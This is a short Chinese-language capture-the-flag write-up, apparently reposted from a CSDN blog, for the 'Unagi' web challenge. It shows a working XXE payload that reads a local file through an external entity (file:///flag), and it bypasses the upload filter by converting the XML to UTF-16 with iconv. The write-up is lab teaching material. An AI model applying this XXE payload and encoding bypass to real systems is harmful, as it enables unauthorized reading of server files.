[Web_Unagi]xxe注入过滤绕过

[Web_Unagi]xxe注入过滤绕过

image-20230806141659549

image-20230806141706534

提示我们需要上传文件,并且flag在根目录下,

上传文件的格式为:

<users>
    <user>
        <username>alice</username>
        <password>passwd1</password>
        <name>Alice</name>
        <email>[email protected]</email>
        <group>CSAW2019</group>
    </user>
    <user>
        <username>bob</username>
        <password>passwd2</password>
        <name> Bob</name>
        <email>[email protected]</email>
        <group>CSAW2019</group>
    </user>
</users>

很明显使用xxe注入

<?xml version='1.0'?>
<!DOCTYPE users [
<!ENTITY xxe SYSTEM "file:///flag" >]>
<users>
    <user>
        <username>gg</username>
        <password>passwd1</password>
        <name>ggg</name>
        <email>[email protected]</email>  
        <group>CSAW2019</group>
        <intro>&xxe;</intro>
    </user>
</users>

但是上传上去发现被过滤了,我们需要想办法绕过

由于xml文件支持UTF-16编码,所以我们可以把文件转为UTF-16

iconv -f UTF-8 -t UTF-16 1.xml > flag.xml

然后再上传:

image-20230806142008834

猜你喜欢

转载自blog.csdn.net/qq_61839115/article/details/132130623